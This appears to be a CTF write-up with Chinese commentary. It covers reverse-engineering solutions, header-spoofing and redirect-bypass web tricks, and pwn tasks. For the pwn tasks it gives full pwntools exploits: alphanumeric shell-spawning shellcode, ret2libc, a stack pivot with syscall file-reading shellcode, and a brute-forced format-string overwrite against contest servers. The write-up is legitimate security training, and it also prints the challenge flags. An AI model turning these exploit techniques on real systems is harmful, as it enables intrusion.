re

ezASM

checkflag可以看出 cmp的逻辑是 异或0x22

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

exp

a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]

for i in a:
    print(chr(i ^ 0x22),end="")

ezPYC

pycdc 反编译发现反编译失败,使用pydas反编译查看逻辑

[Code]
    File Name: ezPYC.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 5
    Flags: 0x00000000
    [Names]
        'flag'
        'c'
        'input'
        'range'
        'i'
        'ord'
        'print'
        'exit'
    [Locals+Names]
    [Constants]
        (
            87
            75
            71
            69
            83
            121
            83
            125
            117
            106
            108
            106
            94
            80
            48
            114
            100
            112
            112
            55
            94
            51
            112
            91
            48
            108
            119
            97
            115
            49
            112
            112
            48
            108
            100
            37
            124
            2
        )
        (
            1
            2
            3
            4
        )
        'plz input flag:'
        0
        36
        1
        4
        'Sry, try again...'
        'Wow!You know a little of python reverse'
        None
    [Disassembly]
        0       RESUME                        0
        2       BUILD_LIST                    0
        4       LOAD_CONST                    0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
        6       LIST_EXTEND                   1
        8       STORE_NAME                    0: flag
        10      BUILD_LIST                    0
        12      LOAD_CONST                    1: (1, 2, 3, 4)
        14      LIST_EXTEND                   1
        16      STORE_NAME                    1: c
        18      PUSH_NULL
        20      LOAD_NAME                     2: input
        22      LOAD_CONST                    2: 'plz input flag:'
        24      PRECALL                       1
        28      CALL                          1
        38      STORE_NAME                    2: input
        40      PUSH_NULL
        42      LOAD_NAME                     3: range
        44      LOAD_CONST                    3: 0
        46      LOAD_CONST                    4: 36
        48      LOAD_CONST                    5: 1
        50      PRECALL                       3
        54      CALL                          3
        64      GET_ITER
        66      FOR_ITER                      62 (to 192)
        68      STORE_NAME                    4: i
        70      PUSH_NULL
        72      LOAD_NAME                     5: ord
        74      LOAD_NAME                     2: input
        76      LOAD_NAME                     4: i
        78      BINARY_SUBSCR
        88      PRECALL                       1
        92      CALL                          1
        102     LOAD_NAME                     1: c
        104     LOAD_NAME                     4: i
        106     LOAD_CONST                    6: 4
        108     BINARY_OP                     6 (%)
        112     BINARY_SUBSCR
        122     BINARY_OP                     12 (^)
        126     LOAD_NAME                     0: flag
        128     LOAD_NAME                     4: i
        130     BINARY_SUBSCR
        140     COMPARE_OP                    3 (!=)
        146     POP_JUMP_FORWARD_IF_FALSE     21
        148     PUSH_NULL
        150     LOAD_NAME                     6: print
        152     LOAD_CONST                    7: 'Sry, try again...'
        154     PRECALL                       1
        158     CALL                          1
        168     POP_TOP
        170     PUSH_NULL
        172     LOAD_NAME                     7: exit
        174     PRECALL                       0
        178     CALL                          0
        188     POP_TOP
        190     JUMP_BACKWARD                 63
        192     PUSH_NULL
        194     LOAD_NAME                     6: print
        196     LOAD_CONST                    8: 'Wow!You know a little of python reverse'
        198     PRECALL                       1
        202     CALL                          1
        212     POP_TOP
        214     LOAD_CONST                    9: None
        216     RETURN_VALUE

exp

flag = [
    87,
    75,
    71,
    69,
    83,
    121,
    83,
    125,
    117,
    106,
    108,
    106,
    94,
    80,
    48,
    114,
    100,
    112,
    112,
    55,
    94,
    51,
    112,
    91,
    48,
    108,
    119,
    97,
    115,
    49,
    112,
    112,
    48,
    108,
    100,
    37,
    124,
    2]
c = [
    1,
    2,
    3,
    4]

for i in range(len(flag)):
    byte = flag[i] ^ c[i % 4]
    print(chr(byte),end="")

ezUPX

发现是upx3.96,用upx -d 脱壳

是一个异或 0x32 cmp的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  __int64 i; // rax
  __int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF
  int v7; // [rsp+40h] [rbp-18h]

  memset(v6, 0, sizeof(v6));
  v7 = 0;
  sub_140001020("plz input your flag:\n");
  sub_140001080("%36s");
  v3 = 0;
  for ( i = 0i64; (*((_BYTE *)v6 + i) ^ 0x32) == byte_1400022A0[i]; ++i )
  {
    if ( (unsigned int)++v3 >= 0x25 )
    {
      sub_140001020("Cooool!You really know a little of UPX!");
      return 0;
    }
  }
  sub_140001020("Sry,try again plz...");
  return 0;
}

exp

a = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

for i in a:
    print(chr(i ^0x32),end="")

ezIDA

flag打开就有了

pwn

EzSignIn

nc连接直接有flag

ezshellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( (int)v4 <= 10 )
  {
    printf("input your shellcode:");
    myread(v5, v4);
  }
  else
  {
    puts("too long");
  }
  v5();
  return 0;
}
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
  char v3; // [rsp+1Fh] [rbp-11h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = read(0, a1, a2);
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) )
    {
      puts("Invalid character\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}

一开始存len的是一个uint的变量,可以输入一个负数,让存len的uint变量溢出,这样myread就能read很多的数据,cmp有个类型转换,<=10也能过,ae64直接打就好了

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "47.100.139.115"
PORT = 30966

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# g(p)
sla("input the length of your shellcode:","-1")



# from ae64 import AE64

# obj = AE64()
# sc = obj.encode(asm(shellcraft.sh()),'rax')


sc = b'WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP'

# g(p)
s(sc)


p.interactive()

Elden Random Challenge

一开始输入name那有一个溢出,可以把随机数种子覆盖掉,用ctypes模拟一遍随机数后,走到下边溢出打ret2libc

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  init(argc, argv, envp);
  seed = time(0LL);
  puts("Menlina: Well tarnished, tell me thy name.");
  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);
  puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
  srand(seed);
  while ( i <= 98 )
  {
    v6 = rand() % 100 + 1;
    v4 = 0;
    puts("Please guess the number:");
    read(0, &v4, 8uLL);
    if ( v6 != v4 )
    {
      puts("wrong!");
      exit(0);
    }
    ++i;
  }
  puts("Here's a reward to thy brilliant mind.");
  myread();
  return 0;
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

libc = ctypes.cdll.LoadLibrary("./libc.so.6")
libc.srand(0)

payload = b'a' * 10 + p64(0)
sa("Menlina: Well tarnished, tell me thy name.\n",payload)

for i in range(99):
    number = libc.rand() % 100 + 1
    sa("Please guess the number:\n",p64(number))


ru("Here's a reward to thy brilliant mind.\n")

rdi = 0x0000000000401423
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
my_read = 0x40125D

payload = flat([
    b'a' * (0x30 + 0x8),
    rdi,puts_got,puts_plt,my_read
])
   
s(payload)


libc = elf.libc
addr =  u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = addr - libc.sym['puts']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a

payload = flat([
    b'a' * (0x30 + 0x8),
    ret,rdi,binsh,system
])
   
s(payload)


p.interactive()

Elden Ring Ⅰ

栈迁移 + orw,libc里面的open有些奇怪,有一个用rsp 解引用写数据的操作后面还有几个取地址,就直接mprotect把bss改成可以执行的,然后写syscall版本的orw,说起来想找syscall ret的,但是没有找到

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  v4 = seccomp_init(2147418112LL);
  seccomp_rule_add(v4, 0LL, 59LL, 0LL);
  seccomp_rule_add(v4, 0LL, 322LL, 0LL);
  seccomp_load(v4);
  puts("The fallen leaves tell a story...\n");
  sleep(2u);
  puts("...\n");
  sleep(2u);
  puts("...\n");
  sleep(2u);
  puts(
    "And one other. Whom grace would again bless. A Tarnished of no renown. Cross the fog, to the Lands Between, to stand"
    " before the Elden Ring. And become the Elden Lord.\n");
  sleep(2u);
  vuln();
  puts("Good Bye.");
  return 0;
}
ssize_t vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n");
  return read(0, buf, 0x130uLL);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.139.115"
PORT = 32290

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

rdi = 0x00000000004013e3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x40125B



payload = flat([
    b'a' * (0x100 + 0x8),rdi,puts_got,puts_plt,vuln
])



ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
s(payload)

leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak_addr - libc.sym['puts']

success(f"{hex(libc_base)}")

bss = 0x404000
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
ret = 0x000000000040101a
leave_ret = 0x0000000000401290

mprotect = libc_base + libc.sym['mprotect']


payload = flat([
    b'a' * (0x100),bss,
    rsi,bss,read,leave_ret
])

# g(p)
ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
s(payload)


payload = b'flag\x00\x00\x00\x00'

payload +=flat([
    rdi,bss,rsi,0x1000,rdx,7,mprotect,bss + 0x50
])

payload = payload.ljust(0x50,asm('nop'))

payload += asm('''
mov rdi,0x404000
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,0x404200
mov rdx,0x30
mov rax,0
syscall
               
mov rdi,1
mov rsi,0x404200
mov rdx,0x30
mov rax,1
syscall



''')


# g(p)
s(payload)


p.interactive()

ez_fmt

只有一次格式化字符串的机会,栈上有一个指向rbp的指针,本来是想把rbp改成backdoor的地址,然后走完vuln main两次leave ret栈迁移过去,试了一下要改的数据太大了,改不成功。 在栈上写一个backdoor的地址,把 rbp改到backdoor - 8的栈地址上,那走完vuln的leave ret的时候,rbp + 8就是backdoor的地址,走完main的leave ret就跳到backdoor了,要改的数据只有一个字节,需要爆破一下

unsigned __int64 vuln()
{
  __int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
  char s[88]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy((char *)buf, "make strings and getshell\n");
  write(0, buf, 0x1BuLL);
  read(0, s, 0x50uLL);
  if ( !strchr(s, 112) && !strchr(s, 115) )
    printf(s);
  return __readfsqword(0x28u) ^ v3;
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.102.130.35"
PORT = 32365

elf = context.binary = ELF('./vuln')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



target = 0x401245
payload=b"%" +str(0x70).encode() + b"c%18$hhn" + b"a"*0x4 + b"a"*0x28 + p64(target)
while(1):
    try:
        p = connect()
        # g(p)
        sa("M3",payload)
        ru("@")
        p.recv(timeout=2)

        break
    except EOFError:
        p.close()



p.interactive()

misc

SignIn

puzzlesolver 一把梭

hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}

web

ezHTTP

把响应用base64解码一下得到flag

GET / HTTP/1.1
Host: 47.100.137.175:32481
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
X-Real-IP: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Referer: vidar.club
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Bypass it

发现在注册那有一个跳转回登录的javascript代码,把JavaScript禁用后,注册账户,登录拿到flag

<html>
<head>
    <meta charset="utf-8"> 
	<title>用户注册</title> 
    <link rel="stylesheet" href="/css/bootstrap.min.css">
    <script src="/js/jquery.min.js"></script>
    <script src="/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
	<form action="register.php" method="post">
		<fieldset>
			<legend>用户注册</legend>
			<ul>
				<li>
					<label>用户名:</label>
					<input type="text" name="username" />
				</li>
				<li>
					<label>密 码:</label>
					<input type="password" name="password" />
				</li>
				<li>
					<label> </label>
					<input type="submit" name="register" value="注册" />
				</li>
			</ul>
		</fieldset>
	</form>
<script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script></div>
</body>
</html>
⬆︎TOP